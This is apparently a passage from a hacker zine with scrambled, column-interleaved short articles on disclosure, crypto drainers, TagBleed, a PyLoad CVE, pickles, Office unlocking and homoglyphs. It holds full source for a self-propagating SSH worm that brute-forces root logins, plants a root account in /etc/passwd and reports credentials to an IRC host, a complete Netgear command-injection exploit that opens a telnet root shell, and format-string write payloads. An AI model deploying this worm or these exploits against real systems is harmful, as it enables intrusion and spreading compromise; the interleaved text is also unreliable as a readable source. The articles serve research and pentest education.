- A pull request [5] from defendtheworld [6]
who cares.
adding more escaping, and making all the ajax
Interestingly, it shifts the work balance a bit: it's requests authenticated.
usually harder to write an exploit than it's to fix the - Another pull request [7] from one of the
issue. But here, the vendor has to audit and fix their authors of RaspAP, adding a bit more
entire codebase, for the ~low cost of one (1) hardening on top of it.
exploit, that you don't even have to publish if you
Unsurprisingly, there are still other fun bugs lurking
don't want to. Moreover, publishing a proof of
in RaspAP, so feel free to grow your own carrots „
successful exploitation will likely lower the value of
hoarding the exploits, since it increases the odds of
„ , in this garden or another one!
[1] https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure
people looking for, finding, and burning them. It's [2] https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)
much more motivating to look for exploitable [3] https://en.wikipedia.org/wiki/Carrot_and_stick
[4] https://raspap.com/
vulnerabilities when you know that there are some [5] https://github.com/RaspAP/raspap-webgui/pull/1546
[6] https://twitter.com/defendtheworld/status/1767204517316108414
low-hanging ones. [7] https://github.com/RaspAP/raspap-webgui/pull/1548

Julien "jvoisin" Voisin


https://dustri.org/b/carrot-disclosure.html
50 dustri.org CC BY-SA 4.0
Drainers: Signing the Crypto Devil’s Contract Security/Hacking

Drainers: Signing the Crypto Devil’s Contract


Bitso Quetzal Team - 2024

In the realm of blockchain technology, smart contracts serve as digital arbiters of automated agreements,
elimina8ng the need for intermediaries in transac8on processes. At their core, smart contracts are self-
execu8ng agreements with their terms o?en wri@en in languages like Solidity or Rust. However, it’s worth
no8ng that the decentralized nature of blockchain also opens the door to new malicious and crea8ve a@ack
vectors. Threat Actors can create malicious contracts that could cost vic8ms all their assets. This ar8cle
explores the malicious smart contracts scene and introduces a new threat: Drainers.

Drainers deceive users into signing away their crypto assets, including tokens and NFTs, and send them to the
a@acker’s wallet. Most Drainers are sophis8cated, iden8fying and transferring only valuable assets, and
some8mes even swapping less popular tokens for more desirable ones before bailing out to the a@acker. But
why would users willingly accept such transac8ons? Drainers o?en operate in conjunc8on with phishing sites
posing as legi8mate plaMorms, playing the role of the “backend” in the opera8on, while the fake site mans the
“frontend.” These sites request users to connect using popular wallets, like Metamask, and display an
authen8c signature request for the malicious contract using crea8ve promises like airdrops, rewards or even
“gas fees refunds”. Then, with just a click, the worst happens.
Creepy, isn't it? It only gets worse. You don’t have to spend weeks learning Solidity to write your drainer, only
to realize that you also need to enhance your frontend skills to create a convincing, deceiMul site. This process
can be easily automated through the Drainers as a Service (DaaS) model — a parallel to the Malware as a
Service (MaaS) concept. In this model, threat actors design smart contracts and lease their use to affiliates
who deploy their kits and share profits with the original creator, while being en8tled to receive support and
updates. And it can s8ll get worse: drainer affiliates o?en promote fake posts on social media plaMorms like
Twi@er using paid, verified accounts. Addi8onally, they invest in paid adver8sements on popular search
engines such as Google. This strategy allows them to hijack specific search terms and even secure be@er
posi8oning than the original product, service, or company they are impersona8ng. But wait, there's more…
the DaaS market is ever-expanding with numerous well-established compe8tors. Let’s take a look.

Arguably the most popular drainer out there is Inferno,


which le? its mark on Web3-powered cybercrime history.
Inferno’s DaaS model started in November 2022 and
finished a year later, a?er seizing more than $100M from
vic8ms. Inferno’s exit was a 8dy one, slowly shucng
down their opera8on, beginning by dele8ng the admin’s
Telegram account but retaining the infrastructure, files,
and devices to ensure “a smooth transi8on to the new
service” clients may choose. They even had the 8me to
say a last goodbye on their Telegram channel. Inferno
targeted popular crypto projects such as Pepe,
Collab.Land, and Nakamigos, using malicious JavaScript
code to impersonate Web3 protocols like Seaport,
WalletConnect, and Coinbase. To this day (February 28th,
2024), although “inac8ve,” Inferno con8nues siphoning Ace Drainer no8fica8ons via Telegram
their vic8ms’ funds for considerable amounts. Other
compe8tors include Angel (around $36M stolen), Pink (around $36M), Medusa (around $5M), and Ace
drainers, each with their unique style, features, rivalries and even leadership drama.

To conclude, remember that phishing is a crucial part of the drainers’ opera8on, and deceiving users is a must
to steal their funds. As always, criminals are improving their game to maximize profits, successfully
compromising and impersona8ng significant players such as hardware crypto wallet manufacturers like Ledger
and Trezor, security companies like Mandiant, and even the SEC. So, stay vigilant, do your own research, don’t
sign anything without reading the small print… and please don’t get rekt.

Bitso Quetzal Team


https://medium.com/bitso-engineering
CC BY 4.0 https://otx.alienvault.com/user/QuetzalTeam 51
Art Suburbs

Killer Rabbit
https://www.instagram.com/killerrabbitmedia/
52 SAA-TIP 0.0.7
EasyNiceWorm Security/Hacking

Easy NiceWorm
https://github.com/4nimanegra/EasyNiceWorm
while(i < 11){
session=ssh_new();
if((ssh_options_set(session, SSH_OPTIONS_USER,
user[i])<0) || (ssh_options_set(session,
SSH_OPTIONS_HOST, host)<0) || (ssh_options_set(
session, SSH_OPTIONS_PORT, &port)<0)){break;}
On this page, we will create a simple C-based worm con = ssh_connect(session);
if(con != SSH_OK){break;}
for penetration testing purposes. The worm attempts to if(con = ssh_userauth_password(session, NULL, pass[i])
== SSH_AUTH_SUCCESS){
make SSH connections to random IP addresses using a if(i == 0){break;};
sendToIrc(i);
small credential database to copy and execute its own writesize=0;
scp=ssh_scp_new(session,SSH_SCP_WRITE,"/tmp/");
code. Additionally, a small piece of code enables the if(ssh_scp_init(scp)==SSH_ERROR){break;}
con=ssh_scp_push_file(scp,remoteworm, size, 0766);
worm to chat on a specific IRC server and channel where if(con != SSH_ERROR){
f=fopen(myworm,"r");
information about all misconfigured machines is shared. while(1==1){
readsize=fread(buffer,1,sizeof(buffer),f);
if(SSH_ERROR ==
ssh_scp_write(scp,buffer,readsize)){break;}
writesize=writesize+readsize;
if(writesize==size){break;}}
fclose(f);}
if((sshchannel = ssh_channel_new(session))
==NULL){break;}
if((con = ssh_channel_open_session(sshchannel))
< 0){break;};
if((con = ssh_channel_request_exec(sshchannel,
"cd /tmp/;./EasyNiceWorm &")) < 0){break;};
ssh_free(session);break;}
ssh_free(session);
i=i+1;}
sleep(10);}}

To notify the red team of the new host, a connection


The target detector essentially utilizes random values to an IRC server is utilized. The initial action following
ranging from 0 to 255 for the last digit of an IP address a successful login is to connect to a specific IRC server
within the subnet class C network 10.0.0.X/24. This and channel to announce the IP address, username, and
value should be changed according to the IP addresses password of the new member. The IRC host and port
in the private network being tested. In the source code, are defined by the constants IRC and IRCPORT, re-
we employ a constant named MYNET with the value spectively, while the channel where the host discloses
10.0.0., and a variable host where, in each iteration, we the information is hardcoded as 4d50. Remember to
store the constant followed by a random value generated configure the IRC into a private IP address on the net-
using the rand function. The security testing engine work and the channel to not accept clients from outside,
operates based on a list of 10 specific default passwords in order to preserve the information stored on it.
for root credentials. void sendToIrc(int i){
SSL_CTX *ctx;SSL *ssl;int socketirc,numchar;
struct sockaddr_in serveradd;char data[900];
#include <time.h>
SSL_library_init();
#include <libssh/libssh.h>
OpenSSL_add_all_algorithms();
#include <stdlib.h>
SSL_load_error_strings();
#include <stdio.h>
ctx = SSL_CTX_new(SSLv23_client_method());
#include <unistd.h>
if((socketirc = socket(AF_INET,SOCK_STREAM,0)) == -1){
#include <sys/types.h>
return;}
#include <sys/stat.h>
serveradd.sin_family = AF_INET;
#include <sys/types.h>
serveradd.sin_addr.s_addr=inet_addr(IRC);
#include <sys/socket.h>
serveradd.sin_port=htons(IRCPORT);
#include <netinet/in.h>
if(connect(socketirc,&serveradd,sizeof(serveradd))
#include <arpa/inet.h>
!= 0){return;}
#include <sys/ioctl.h>
ssl = SSL_new(ctx);SSL_set_fd(ssl, socketirc);
#include <openssl/ssl.h>
if (SSL_connect(ssl) != 1) {
#include <openssl/err.h>
exit(EXIT_FAILURE);}
#define MYNET "10.0.0."
printf("Connected to %s %d\n",IRC,IRCPORT);sleep(5);
#define IRC "10.0.0.254"
numchar=sprintf(data,"user 4d50 4d50 4d50 4d50\n"
#define IRCPORT 6697
"nick Ad50_%d\n",rand());
char user[11][20] = {"easyniceworm","root","root","root","root",
SSL_write(ssl, data, numchar);sleep(5);
"root","root","root","root","root","root"};
numchar=sprintf(data,"join #4d50\nprivmsg #4d50 :"
char pass[11][20] = {"testit","root","123456","000000","111111",
"%s %s %s\nquit\n",host,user[i],pass[i]);
"Zte521","admin","anko","openelec","uClinux","xmhdipc"};
SSL_write(ssl, data, numchar);sleep(5);
char host[16],myworm[20],remoteworm[30];
SSL_shutdown(ssl);SSL_free(ssl);
close(socketirc);SSL_CTX_free(ctx);}
Each time the penetration testing worm successfully
connects to an IP address on port 22 using the SSH The first action the worm performs on the host is to
protocol, it attempts to log into the machine. All SSH add a new root user privileges account using the cre-
interactions are handled using the sshlib library. Upon dential easyniceworm as the username and testthiscom-
successful login, the tool copies its own code into the puter as the password. This action enables the red team
/tmp/ directory and executes the copied code on the to log in to the different members without knowing the
remote computer. After this process, the newly infected credentials. It also serves as a means to determine if
computer becomes a member of our penetration testing the host has been previously compromised by the tool,
botnet, and the tool proceeds to search for new hosts to in order to avoid re-executing the worm program. The
be introduced into it. easyniceworm binary is stored in the /tmp/ directory on
int main(int argc, char *argv[]){ the unsafe machine, ensuring it has been coded with an
int port=22,i,con,size,readsize,writesize;
ssh_session session;ssh_channel sshchannel; ephemeral lifespan. Therefore, the appropriate method
ssh_scp scp; FILE *f; struct stat fileinfo; char buffer[1024];
sprintf(myworm,"./%s",argv[0]); to compile EasyNiceWorm should be as follows:
sprintf(remoteworm,"%s",argv[0]);
gcc -o ./EasyNiceWorm ./EasyNiceWorm.c -lssl -lssh -lcrypto -lz -ldl -static -lgssglue
f=fopen(myworm,"r"); fstat(fileno(f),&fileinfo);
size=fileinfo.st_size; fclose(f);
srand(time(NULL)); f=fopen("/etc/passwd","a"); This work was originally created for PagedOut and translated by the author for UnderD0cs Magazine Number 8.
if(f!=NULL){fprintf(f,"easyniceworm:RXNdM4J3tjTtk:0:0::");
fprintf(f,"/root:/bin/sh\n");fclose(f);} https://underc0de.org/foro/e-zines/underdocs-marzo-2020-numero-8/ (It requires free registration).
while(1==1){
sprintf(host,"%s%d",MYNET,(rand()%255)+1); i=0;

Garcia-Jimenez, Santiago
https://github.com/4nimanegra
CC BY 4.0 53
Security/Hacking Format String Vulns for hackers in a hurry

Format String Vulns • Pick the address by injecting it in the payload, on


the stack: %1337c%8$nPPPPPP\xEF\xBE\xAD\xDE
for hackers in a hurry • Notice the padding in the previous example to align
the address to a stack entry (RSP + 16)
Are you competing in a CTF right now ? You know
• You can also do this to read arbitrarily:
how printf1 works and you notice the obvious format
%7$sPPPP\xEF\xBE\xAD\xDE
string vulnerability, but don’t know how to exploit it?
Perfect, this step-by-step guide is your cheatsheet to a
quick victory! 3 The Exploit
3.1 How to imagine it?
1 The Problem
Consider the following simple, vulnerable program:
int main {
char buf [256];
fgets ( buf , 256 , stdin ) ; Visualize the generic diagram above, where:
printf ( buf ) ; // <----- evil !
} • X is the value we want to write (usually part of an
address for a win function, like system)
This is a classic, obvious format string vulnerability.
What can we do with it? • T is the direct argument offset to target
• Leak registers if the calling convention of the target • optional padding is added to align the target address
allows it (using %p, %x, %d, etc.) to a stack entry
• Leak arbitrary stack content • target is the address we want to write to (injected)
• Leak arbitrary memory (using %s)
3.2 What to attack?
• Write values at arbitrary memory (using %c and
• GOT section, if executable has partial or no
%n in combination)
RELRO protections
• A function return address, if a stack address is
2 Turbo Quick Start leaked
On Linux x86 x64, the calling convention is accessing • An important variable (is_admin, etc.)
registers and then the stack, in order:
• Function pointers
0. RDI 3. RCX 6. [RSP ]
1. RSI 4. R8 7. [RSP + 8] • File structures2
2. RDX 5. R9 8. ...
You can access an arbitrary parameter passed to 3.3 Other useful tips
a format string function by using “direct parameter ac- • Usually your payload will be at RSP : %6$p
cess” (RDI cannot be accessed):
• Use length modifiers to change the size of the
• Print out R8 as an address in hex: %4$p specifier (%hx < %x < %lx)
• Print out the value found at RSP + 8 in decimal: • Reaching the value we want to write with %c takes
%7$d a long time when we write 4 bytes at a time with
%n, use length modifiers to write 2 bytes of the
• Print out the string pointed to by the address found
value at a time (%hn)
at RSP + α · 8: %(α+6)$s
• When you write twice in the same payload, make
You can write to an arbitrary address using the %n
sure the second write accounts for the bytes
specifier:
printed for the first write. See below, where X & Y
• Write 1337 to the address pointed to by RSI: are the values we write and T1 & T2 are the direct
%1337c%n arg offsets to targets:

• Write 1337 to the address found on the stack at


RSP + 8: %1337c%7$n
1 RTFM: https://www.man7.org/linux/man-pages/man3/ 2 File Stream Oriented Programming: https://niftic.ca/
printf.3.html posts/fsop/

sunbather
https://github.com/Costinteo
54 https://dothidden.xyz/ SAA-TIP 0.0.7
Security/Hacking How a variable name caused a critical vulnerability

# How a variable name caused a ## How are these templates supposed to work?
So these templates have placeholders for data
critical vulnerability and when rendering them, you need to pass that
data as shown below.
This is the story of CVE-2024-21644 and how an
unfortunately named variable caused a critical
vulnerability in an otherwise secure
application.

I’m PinkDraconian, a penetration tester at


Toreon, and every year Toreon challenges their
consultants to set an ambitious goal. My goal
This was not happening in our ‘/render’
for 2024? Get 100 CVEs. One of my first warm-up
endpoint, so that must mean that it’s safe,
targets was PyLoad, a Python download manager.
right? Well…
## Unauthenticated rendering of templates? ## Can you spot the vulnerability?
I installed the tool, set it up, and looked at
Then I looked at the source code of the ‘/info’
all the endpoints it exposed. Many interesting
endpoint and immediately had an epiphany! Can
ones such as ‘/files’, ‘/logs’, ‘/filemanager’
you spot it as well?
revealed themselves, but only an authenticated
user could access them. For maximal impact, I
wanted to focus on unauthenticated bugs (i.e.:
bugs that can be exploited without having to log
in). One unauthenticated endpoint stood out to
me: ‘/render’.

This endpoint allows you to render any Flask


template on the filesystem. This almost sounds
too vulnerable, right? It reeks of a server-side Do you see the ‘config’ variable being passed to
template injection waiting to happen, but I the template? Well, Flask has some default
couldn’t figure out any way to upload a global variables for templates such as
malicious template. The only templates I could ‘request’, ‘session’, and ‘config’. And the
render with this functionality were the ones worst part: The default config variable contains
supplied by the application itself. the application’s ‘SECRET_KEY’, which can be
used to sign JWT tokens, etc.

The ‘info.html’ template expects a config


variable and renders it via ‘{{config}}’, but
because we have a way of rendering the template
without passing in variables: the global
The application supplies template files like 'config' variable is used instead, resulting in
‘logs.html’ and ‘files.html’. Surely that must this vulnerability!
be interesting to render, right? Well... not
quite. These templates are just the shell of
what’s shown on the screen, they don’t contain
any data. Thus visiting ‘/render/logs.html’
merely shows the UI of the logs, not the log
contents.

The maintainer quickly solved the issue by


renaming the ‘config’ variable to
‘config_folder’, and that was the end of it.

YouTube: https://www.youtube.com/c/PinkDraconian Robbe Van Roey / PinkDraconian


Twitter: https://twitter.com/PinkDraconian
56 LinkedIn: https://www.linkedin.com/in/robbe-van-roey/ SAA-ALL 0.0.7
IpFire RouterFirewall-IPS Security/Hacking

The GNU/Linux distro IPFire, a fork of the IPCop project, is a solution geared for
router/firewall scenarios with an intuitive graphical interface accessible remotely via
HTTPS for management, enabling services to be activated and added via installable
plug-ins.

Cybersecurity is the central priority behind the project, which, enhanced by an in-system
hardening process, prevents targeted attacks within the system. An OpenSource project
developed under the GPL license, it has a highly active community of users and
developers who have created solutions to the most common system administration
needs behind the distribution. IPFire is free software developed by a large open
community and is considered reliable by a large number of users due to the
OpenSource philosophy, in which every person in the IT department can view the
source code, integrate it, and improve it to make the project more innovative. Notably,
there is also significant care for the kernel, including mitigations against Meltdown and
Spectre attacks related to Intel processors.

IPFire, when applied to a PC with two network cards and one Wi-Fi, can function as a
router/firewall, router/Wi-Fi, or access point with proxy functions and IDS/IPS systems
through the use of Snort to block targeted attacks on the LAN from the WAN.

The website (IPFire.org) contains forums and blogs serving the community. For
professional help and specific consulting, there is Lightning Wire Labs, which provides
assistance for business use. For the remaining nerds, there is the dedicated wiki
(wiki.IPFire.org).

For those who wish to contribute to the TOR project, the community provides a package installable via Pakfire
(https://www.ipfire.org/docs/configuration/ipfire/pakfire) to create an entry point to the deep web, provide anonymity for the LAN
network, or contribute to the global TOR network
by starting a TOR relay server. The variety of tools
made available by the distro allows for enhancing
the defenses of a LAN network and provides
utilities for the IT system builder. For example, the
offline proxy cache function, associated with
blacklists (also ranked by country), allows for
optimization and savings in data traffic.

For those who would like to contribute to the


development of the code, all necessary
references can be found at this link
(wiki.ipfire.org/devel). Since it is an OpenSource
project, it is supported by donations from the
community, a project that has received much
positive acclaim from network administrators and
pentest experts since its inception. Linux, as
always, is the primary operating system for those
who have embraced the OpenSource and free
philosophy. The Linux philosophy allows for
modeling the operating system for a wide variety
of uses, from microcomputers to supercomputers.

The ever-increasing hardware support associated with the Linux kernel, software research and development, security by design,
and privacy by default make the project a great benchmark in any scenario for protecting against data breaches.

Originally published in Italian at https://www.ictsecuritymagazine.com/articoli/IPFire-routerfirewall-ips/ (2019)

fabio carletti aka ryuw


https://www.linkedin.com/in/fabio-carletti-ryuw/
SAA-TIP-NA-NS 0.0.7 57
Security/Hacking Leaking Host KASLR from Guest VMs Using Tagged TLB

Leaking Host KASLR from Guest VMs Using Tagged TLB


TagBleed by VUSec researchers [TAG] is a side is crucial. For analysis purposes, VM-exit triggered
channel attack which allows an unprivileged local by writes to the Model-Specific Register (MSR)
user to leak Kernel Address Space Layout MSR_IA32_TSC_DEADLINE turned out to be a good
Randomization (KASLR) bits using tagged option. In KVM, this event re-enters the guest using
Translation Lookaside Buffer (TLB). This article a fast path. Since MSR_IA32_TSC_DEADLINE is
demonstrates the attack in a virtualized written with random data, the guest is booted with
environment, where a guest user can partially leak “lapic=notscdeadline” kernel parameter. The PoC for
host KASLR bits using the TLB lookups done during leaking KASLR bits includes a kernel driver which
VM-exit. evicts TLB sets and logs the time taken for VM-exits.
The VMM within KVM, operating on Intel CPUs,
Overview of TagBleed Attack comprises the kernel modules kvm.ko and kvm-
TLB caches the recent page table translations done intel.ko. The output below reveals leaked KSLR bits
by the Memory Management Unit (MMU). Every time 0x32 and 0x42 from the randomized addresses
there is a context switch, TLB entries are flushed. In pointing to data pages of kvm_intel.ko and kvm.ko
order to avoid this and improve the overall at offsets 0x3c00 and 0x7a000, respectively. These
performance, TLB entries are tagged using process- results are consistent even across host reboots. The
context identifier (PCID). This allows TLB to be source code for the project can be found on GitHub
shared between processes. A virtual address (VA) is [SRC].
mapped to a TLB set using an indexing function.
This indexing function can be linear or complex demo@guest:~/tagbleedvmm$ sudo insmod tlbdev/tlbdev.ko
demo@guest:~/tagbleedvmm$ sudo ./tracer/tracer
depending on the microarchitecture. By knowing tracer: [+] Measuring TLB evictions across VMEXITs...
the indexing function, it is possible to precisely evict tracer: [+] Check trace_tlb.log file...
a TLB set by accessing a series of user space demo@guest:~/tagbleedvmm$ python
addresses. In the interest of simplicity, consider the scripts/tlb_evict_solver.py results/trace_tlb.log
Set: 0x32, Time: 5104
Sandy Bridge microarchitecture which has a linear Set: 0x42, Time: 5099
indexing function. For 4KB pages, the 7 bits Set: 0x37, Time: 5086
following the 12-bit page offset in a VA are utilized Set: 0x0c, Time: 5062
Set: 0x3d, Time: 5037
as an index into the 128-set L2 TLB. An attacker Set: 0x33, Time: 4986
could evict TLB sets from 0 to 127 and measure the Set: 0x4c, Time: 4964
time it takes to access a memory location within a Set: 0x13, Time: 4959
targeted kernel module through an IOCTL system Set: 0x18, Time: 4959

call. If the measured access time increases after


evicting a particular TLB set, then the 7-bit TLB set demo@host:~$ sudo cat /proc/modules | grep -i kvm
kvm_intel 286720 4 - Live 0xffffffffc04f6000
index could be part of the module’s randomized VA. kvm 708608 1 kvm_intel, Live 0xffffffffc0448000
This gives away KASLR bits partially. >>> hex(((0xffffffffc04f6000 + 0x3c000) & 0x7f000) >> 12)
'0x32L'
>>> hex(((0xffffffffc0448000 + 0x7a000) & 0x7f000) >> 12)
TagBleed Attack on Hypervisors '0x42L'
While TagBleed side channel works across user-
kernel trust boundary, the question is can it leak
information across hypervisor boundary? In
virtualized environments, TLB entries are tagged
with Virtual Processor Identifiers (VPID). The host
Virtual Machine Monitor (VMM) entries are tagged
to VPID 0, whereas the guest entries translated
through the Extended Page Tables (EPT) are tagged
with VPID assigned to the vCPU. By utilizing VPIDs,
the TLB is shared among both guests and the host,
removing the necessity to flush TLB entries during
VM-entry or VM-exits. Since TLB is shared, the
guest can systematically evict TLB sets and measure
the time taken for VM-exits.

The test environment used in the experiment


consists of Ubuntu Desktop 18.04.4 LTS host with
5.8-rc3 kernel running on Intel(R) Core(TM) i7-
2670QM CPU @ 2.20GHz (Sandy Bridge Figure: Graph shows the time measured for eviction. TLB set index
along y-axis and rounds along x-axis
microarchitecture). The guest Ubuntu Server 20.04
LTS configured with 2 vCPUs and 4GB RAM runs on
top of KVM+QEMU. Since VM-exits can be noisy, [TAG] https://download.vusec.net/papers/tagbleed_eurosp20.pdf
[SRC] https://github.com/renorobert/tagbleedvmm
selecting an exit event that executes minimal code

The article was originally published at https://github.com/renorobert/tagbleedvmm (July 12, 2020)

Reno Robert
https://twitter.com/renorobertr/
58 SAA-TIP 0.0.7
Tranquility at last Art

Killer Rabbit Instagram: @killerrabbitmedia


Reddit: u/Killerrabbitmedia
SAA-TIP 0.0.7 YouTube: @killerrabbitmedia 59
PSV-2020-0595: Post Authentication Command Injection on Netgear Router
Security/Hacking

PSV-2020-0595: Netgear Router Injection Point:


• File: /etc/email/send_log
Post-Authentication Command • Relevant Code:
Injection o Line No 95: cmd="cat $email_file | $smtpc
$(print_smtpc_arg) >/dev/null
2>$err_file"
A High-risk vulnerability (PSV-2020-0595) has o Line No 96: if ! eval $cmd; then
been identified in Netgear Routers, allowing an
authenticated attacker to execute arbitrary Exploit Code (condensed version) and Execution:
import requests
commands on the system. import re
import base64
import urllib.parse
Affected Routers and Firmware: import os
• XR450, running firmware versions prior to HOST = "192.168.1.1" # Router IP Address
2.3.2.114 PORT = "80"
USERNAME = "admin"
• XR500, running firmware versions prior to PASSWORD = "Touhid@PoC" #admin password

2.3.2.114 AuthToken = base64.b64encode((USERNAME + ":" +

• WNR2000v5, running firmware versions prior


PASSWORD).encode('ascii'))

headers = {
to 1.0.0.76 'Authorization': 'Basic ' + AuthToken.decode('ascii'),
'Content-Type': 'application/x-www-form-urlencoded',
Description: 'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image
The heart of the issue is the absence of robust /webp,*/*;q=0.8',
}
server-side validation for user inputs within the res = requests.get(f"http://{HOST}:{PORT}/FW_email.htm",
Email Module. Attackers exploit this weakness by headers=headers)
token = re.findall(r'timestamp=(\w+)', str(res.content))[0]
injecting malicious commands into the
PAYLOAD = "/usr/sbin/utelnetd$IFS-d$IFS-l$IFS/bin/sh"
email_addr and auth_user parameters. The COMMAND = urllib.parse.quote("[email protected];addr=`" +
PAYLOAD + "`")
client-side validator's inadequacy allows the POST_BODY =
storage of harmful payloads, which are later f"submit_flag=email&Apply=Apply&email_notify_enabled=1&send_
alert_immediately=1&schedule_hour=&email_endis_auth=1&email_
executed when the scheduler or "Send Log" addr_hid={COMMAND}&email_smtp_hid=us2.smtp.example.com&auth_
user_hid={urllib.parse.quote('[email protected]')}&auth_p
button triggers the 'sendlog()' function located in wd_hid=password&cfAlert_Select_hid=1&cfAlert_Day_hid=0&email
_notify=1&email_smtp=us2.smtp.example.com&email_addr={COMMAN
the /etc/email/send_log file. D}&smtp_auth=1&auth_user={urllib.parse.quote('tms@touhidshai
kh.com')}&auth_pwd=password&block_site=1&cfAlert_Select=1"
Attack Flow: res =
1. Require: Attackers need admin credentials for requests.post(f"http://{HOST}:{PORT}/apply.cgi?/FW_email.htm
%20timestamp={token}", headers=headers, data=POST_BODY)
the attack.
res = requests.get(f"http://{HOST}:{PORT}/FW_log.htm",
2. Payload Crafting: Attackers craft a malicious headers=headers)
payload within the email_addr and token = re.findall(r'timestamp=(\w+)', str(res.content))[0]

auth_user parameters. POST_BODY =


"submit_flag=logs_send&action_Send=Send+Log&hidden_log_site=
3. Storage: The payload is stored in the system &hidden_log_block=&hidden_log_conn=&hidden_log_router=&hidde
n_log_dosport=&hidden_log_port=&hidden_log_wire=&hidden_log_
configuration, ready to be utilized by different conn_reset=&hidden_log_wire_sched=&hidden_log_readyshare=&hi
scripts. dden_log_mobile_conn=&log_detail=ANYTING&log_router=1"

4. Activation: When the scheduler or "Send Log" try:


res =
button is activated, the 'sendlog()' function is requests.post(f"http://{HOST}:{PORT}/func.cgi?/FW_log.htm%20
timestamp={token}", headers=headers, data=POST_BODY,
executed. timeout=10)
except:
5. Dependency: 'sendlog()' relies on pass
'print_smtpc_arg()' within
os.system("telnet " + HOST)
/etc/email/send_log, which retrieves
configuration settings using '$nvram' variables.
6. Payload Retrieval: The malicious payload is
retrieved from email_addr and auth_user
variables and passed to the eval function.
7. Execution: Arbitrary commands are executed
on the system, resulting in unauthorized
commands execution on router.

Touhid M Shaikh
https://www.securityium.com
60 https://x.com/touhidshaikh22 CC BY 4.0
Pickle Schizophrenia Security/Hacking

Pickle Schizophrenia by bemodtwz


A fun pickle trick to be enjoyed as a mystery or a challenge.

Code:
import pickle
pic = b''
pic += b'\x80\x04' # proto 0x4
pic += b'cpickle\n_Unpickler.dispatch\n' # global "pickle _Unpickler.dispatch"
pic += b'\x94' # memoize
pic += b'q\x00' # binput 0x0
pic += b'KS' # binint1 0x53
pic += b'(' # mark
pic += b'KU' # binint1 0x55
pic += b'ipickle\n_Unpickler.dispatch.__getitem__\n' # inst “pickle Unpickler.dispatch.__getitem__"
pic += b's' # setitem
pic += b"S'magic'\n" # string "magic"
pic += b'.' # stop
pic += b"STOP OP INDICATES END OF PICKLES\n"
pic += b'MORE MAGIC.'
print("loads: %s" % pickle.loads(pic))
print("_loads: %s" % pickle._loads(pic))

Execution:
$ python3 fun.py
loads: magic
_loads: MORE MAGIC

The Question:
Python pickles, like the one seen in the above code, are serialized Python objects. This code deserializes the
exact same pickle twice, once with loads and again with _loads. Both functions should return the same
result; loads is just faster because it’s implemented in C. So, the question is, why is there a discrepancy
between loads and _loads?

Pickle Basics, Hints, and Half-Truths:


Pickles are implemented as an “assembly” language that runs as a very simple stack machine. For example, the
STRING opcode (0x55) pushes a new line terminated string onto the stack. When the STOP instruction is hit,
execution is stopped. The last item on the stack is returned, and all other stack items and any further pickle
instructions are discarded.

If you run a Python pickle disassembler on the provided pickle and it works, you will get the assembly seen in
the code’s comments. Pickles lack control flow; there is no opcode to jump over or into another instruction. So,
in theory, a disassembler will have no trouble showing all the instructions that are executed.

While JSON is relatively safe, pickles are not. Pickles can import any Python object. It’s trivial to import
os.system with GLOBAL, then execute it with REDUCE. However, this is way too obvious; I aim to keep my
pickles interesting.

Lastly, my own Python pickle decompiler agrees with pickle.loads, claiming “magic” should be returned. So,
what is different about the pickle._loads interpretation?

$ r2 -a pickle -qqc pdP /tmp/fun.pickle


## VM stack start, len 2
## VM[1]
what_x4e = _find_class("pickle", "_Unpickler.dispatch")
what_x4e[83] = _find_class("pickle", "_Unpickler.dispatch.__getitem__")(85)
## VM[0] TOP
return “magic"

bemodtwz https://infosec.exchange/@bemodtwz
https://github.com/swoops
SAA-TIP 0.0.7 twitter: @bemodtwz 61
Security/Hacking Removing Editing Restrictions from Office Documents

Removing Editing Restrictions from Office Documents

Unlocking docx documents

Modern office documents are basically just a bunch of zipped-up xml


files. Let’s have a look how they implemented editing restrictions in
Microsoft’s docx format (the default file format produced by
Microsoft Word; the program you are looking at right now).

<w:documentProtection
w:edit="readOnly" w:enforcement="1"
[… ]
w:hash="CBrTaNton+AsWo7o8W/Tvu9HLTci9ESwYrm1P9Zi3weDwaIJ32c1pNd[… ]"
w:salt="ymA7Pbx34nk2tW3z/sxZSQ=="/>

Oh wow! The document is set to be ‘readOnly’ and enforcement of


that rule is set to ‘1’. I wonder what would happen if I set it to ‘0’.

$ unzip protected.docx word/settings.xml


Archive: protected.docx
inflating: word/settings.xml
$ sed -i.orig 's/enforcement="1"/enforcement="0"/' word/settings.xml
$ zip protected.docx word/settings.xml
updating: word/settings.xml (deflated 64%)

Note that I instructed sed to keep the original file around as


‘word/settings.xml.orig’. This might come in handy at a later point.
Since document content and editing restrictions live in separate files,
I can actually edit the unlocked document and then restore the
original restrictions — including the original password — on top of
the modified contents.

Unlocking odt documents

The Document Foundation’s odt format (as produced, most


prominently, by LibreOffice Writer) follows a slightly different path
than Microsoft’s docx. Here, editing restrictions are not enabled in
the document settings, but rather sprinkled throughout the whole
document, wherever some part is supposed to be locked for editing.
Still, it is pretty easy to just flip all protected attributes in a file from
‘true’ to ‘false’.

$ unzip protected.odt content.xml


Archive: protected.odt
inflating: content.xml
$ sed 's/protected="true"/protected="false"/g' content.xml
$ zip protected.odt content.xml
updating: content.xml

Frank Seifferth
[email protected]
62 CC BY-SA 4.0
Trojan Code Security/Hacking

The underlying cause is Unicode, more precisely,


Trojan Code the presence of homoglyph or confusable
characters.
In the following JavaScript code, what does
Unicode, as its name suggests, is as a universal
console.log print, “Attack at dawn!” or “Attack at
hyperplane of codepoints, encoding a vast array of
dusk!”?
characters to meet the diverse requirements of
various languages. However, this complexity also
introduces new security challenges.

A homoglyph refers to a character that closely


resembles another character. Lookalike characters
can arise in several situations:
1. When a font fails to clearly distinguish between
lookalike characters, such as 0 and O.
2. Certain combinations of characters can appear
similar, like "rn" and "m".
attackStrategy function has been defined twice;
3. Some characters in different languages may
therefore, the second definition of the function
share similarities, for example, "p" in Latin and "p"
takes precedence. The program should print
in Cyrillic.
“Attack at dusk!”.
In the second code example, the first function used
a homoglyph of the "S" character. This function
Correct! Now, let's try another example. What was called by console.log().
does console.log print?
Homoglyphs can introduce Visual Spoofing
vulnerability. One way to prevent it is by informing
the user. The user interface (UI) should highlight or
warn users about the presence of homoglyph
characters so that they can make informed
decisions (see the following examples).

The program should print “Attack at dusk!”.


Unfortunately, it is wrong! It prints “Attack at
dawn!”. What we read is not what JavaScript
interprets.

Is this yet another strange issue with JavaScript?


Not really; it can occur in other programming
languages. At times, what you see is not what you
get. The code you read may not align with what
